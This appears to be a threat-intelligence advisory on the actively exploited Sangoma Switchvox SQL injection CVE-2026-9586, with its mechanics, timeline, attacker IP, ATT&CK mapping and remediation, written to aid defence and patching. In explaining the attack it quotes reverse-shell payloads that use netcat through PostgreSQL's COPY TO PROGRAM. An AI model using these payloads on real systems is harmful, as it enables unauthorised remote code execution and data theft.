Active Exploitation of Sangoma Switchvox Unauthenticated SQL Injection (CVE-2026-9586) Deploying Reverse Shells

Active Exploitation of Sangoma Switchvox Unauthenticated SQL (TL-2026-2300) is a critical-severity software vulnerability scored CVSS 9.8, first published 2026-09-02. It has no confirmed attribution, affects Sangoma Switchvox SMB Edition, references 1 CVE (CVE-2026-9586), maps to 11 MITRE ATT&CK techniques (T1027, T1057, T1059.004), and is covered by 9 detection rules and 7 indicators of compromise.

Key facts for TL-2026-2300

Threat ID
TL-2026-2300
Severity
CRITICAL
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-09-02
Last reviewed
2026-09-02
Attribution confidence
LOW
Motivation
FINANCIAL
Target sectors
telecoms, cross-sector
Target regions
united states of america
Detection rules
9
Indicators of compromise
7

Malware and tooling in Active Exploitation of Sangoma Switchvox Unauthenticated SQL

Malware and tooling: Unattributed second-stage cryptomining payload, Netcat, curl

Attackers are actively exploiting CVE-2026-9586, an unauthenticated SQL injection in Sangoma Switchvox's /pa endpoint that reaches remote code execution via PostgreSQL's COPY TO PROGRAM function. Horizon3 honeypots recorded exploitation since August 30, 2026 — reverse shells, process enumeration, and cookie-signing-key theft — against roughly 4,000 internet-exposed instances (mostly US-based); a patch (8.4.0.2) has been available since July 14, 2026.

How Active Exploitation of Sangoma Switchvox Unauthenticated SQL works

CVE-2026-9586 is an unauthenticated SQL injection vulnerability in Sangoma Switchvox SMB Edition (versions prior to 8.4.0.2, confirmed on build 104997). The flaw lives in PhoneAppsHandler.pm's handling of the /pa HTTP endpoint, which receives XML phone-provisioning messages containing <PolycomIPPhone> tags. The handler parses the XML with XML::Simple::XMLin() and extracts the PhoneIP field, then concatenates it, unsanitized and unparameterized, directly into a PostgreSQL query string (CWE-89). Because the query runs in a PostgreSQL superuser context, an attacker can escalate the injection into full remote code execution using PostgreSQL's COPY TO PROGRAM functionality — e.g. COPY (SELECT '') TO PROGRAM 'nc <attacker_ip> <port> -e /bin/bash'-- — to spawn a reverse shell with no authentication and a single crafted HTTP request.

Horizon3 (working with Security Risk Advisors, who reported related issues independently) disclosed 12 distinct Switchvox vulnerabilities to Sangoma on April 10, 2026; Sangoma validated a pre-release fix on April 21 and shipped the public patch (8.4.0.2) on July 14, 2026. Horizon3 and Defused Cyber had honeypots live from May 8, 2026 onward, and on August 30, 2026 those honeypots recorded live exploitation: a single source IP, 176.65.148.184, hit multiple honeypots in rapid succession, dropping reverse shells (nc <ip> <port> | sh), then running base64-encoded curl commands that piped `top` output back to a remote server to enumerate running processes. The Hacker News additionally reported that successful exploitation let attackers extract database contents, modify user records, and exfiltrate cookie-signing keys to forge authentication credentials on the compromised instances. By the time of public disclosure (Horizon3 blog September 1, 2026; CISA KEV addition and mainstream press coverage September 2, 2026), Help Net Security reported the picture had broadened: dozens of additional source IPs were exploiting the honeypots, ranging from simple scanning to second-stage malware that initially resembled cryptominers, indicating opportunistic, financially-motivated mass exploitation rather than a single actor's campaign.

Around 4,000 Switchvox instances are visible on Shodan as internet-exposed, the large majority in the United States, giving attackers a wide, largely unpatched target set roughly seven weeks after the fix shipped. CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities catalog on 2026-09-02 with a 2026-09-05 remediation due date under BOD 26-04.

MITRE ATT&CK techniques used in TL-2026-2300

Defense Evasion

T1027 Obfuscated Files or Information

Discovery

T1057 Process Discovery

Execution

T1059.004 Unix Shell

Command and Control

T1071.001 Web Protocols; T1095 Non-Application Layer Protocol

Initial Access

T1190 Exploit Public-Facing Application

Impact

T1496 Resource Hijacking; T1565.001 Stored Data Manipulation

Credential Access

T1552 Unsecured Credentials; T1606.001 Web Cookies

Reconnaissance

T1595.002 Vulnerability Scanning

Affected products and versions in Active Exploitation of Sangoma Switchvox Unauthenticated SQL

  • Sangoma — Switchvox SMB Edition
    Vulnerable versions: Prior to 8.4.0.2 (confirmed on build 104997 / 8.3)
    Fixed in: 8.4.0.2

Remediation for Active Exploitation of Sangoma Switchvox Unauthenticated SQL

Patches

  • Sangoma Switchvox 8.4.0.2 (released 2026-07-14) — parameterizes the /pa endpoint's PhoneIP handling

Immediate actions

  • Apply Sangoma Switchvox patch 8.4.0.2 immediately (fixes CVE-2026-9586; available since 2026-07-14)
  • Restrict network access to the Switchvox web management interface and the /pa endpoint to trusted IPs only
  • Review /var/log/switchvox/db-quirks.log for SQL injection payload artifacts indicating prior compromise
  • Rotate cookie signing keys/session secrets on any instance suspected of compromise to invalidate forged authentication
  • Block known attacker IP 176.65.148.184 at the network perimeter and hunt for the dozens of other reported scanning/second-stage-malware source IPs

Workarounds

  • If immediate patching is not possible, firewall or disable the /pa endpoint from untrusted networks per CISA BOD 26-04 guidance
  • Discontinue internet exposure of the Switchvox management interface until patched

Longer-term hardening

  • Remove PBX/VoIP management interfaces from direct internet exposure via network segmentation
  • Deploy WAF/IPS signatures for SQL injection patterns targeting XML-based phone provisioning endpoints
  • Monitor PostgreSQL logs for unauthorized COPY TO PROGRAM invocations
  • Establish continuous external attack-surface scanning for internet-exposed VoIP/PBX infrastructure

CVEs associated with Active Exploitation of Sangoma Switchvox Unauthenticated SQL

CVE-2026-9586

Weaknesses (CWE) in Active Exploitation of Sangoma Switchvox Unauthenticated SQL

CWE-89

Timeline of Active Exploitation of Sangoma Switchvox Unauthenticated SQL

  • Horizon3 reports 12 distinct Switchvox vulnerabilities, including what would become CVE-2026-9586, to Sangoma; Sangoma acknowledges receipt the same day.
  • Sangoma provides Horizon3 a pre-release patch for validation.
  • Horizon3 and Defused Cyber deploy internet-facing Switchvox honeypots to monitor for exploitation attempts.
  • Security Risk Advisors (SRA) independently reports related Switchvox issues to Sangoma.
  • Sangoma publicly releases Switchvox 8.4.0.2, fixing CVE-2026-9586 by parameterizing the /pa endpoint's PhoneIP handling.
  • Security Risk Advisors publishes its own independent advisory on the vulnerability.
  • Honeypots record live in-the-wild exploitation from source IP 176.65.148.184, deploying reverse shells and enumerating processes across multiple systems in rapid succession.
  • Horizon3 publishes its technical disclosure blog on CVE-2026-9586, including the SQL injection and COPY TO PROGRAM RCE mechanics.
  • BleepingComputer and The Hacker News report the active exploitation campaign, including cookie-signing-key exfiltration used to forge authentication.
  • Help Net Security reports dozens of additional source IPs now exploiting the flaw, including simple scanning and second-stage malware initially resembling cryptominers.
  • CISA adds CVE-2026-9586 to the Known Exploited Vulnerabilities catalog with a 2026-09-05 remediation due date under BOD 26-04.

Sources cited for Active Exploitation of Sangoma Switchvox Unauthenticated SQL

More in vulnerability

Detection coverage for TL-2026-2300

As of 2026-09-02, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2300 across Splunk SPL, Microsoft KQL and Sigma, covering 7 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats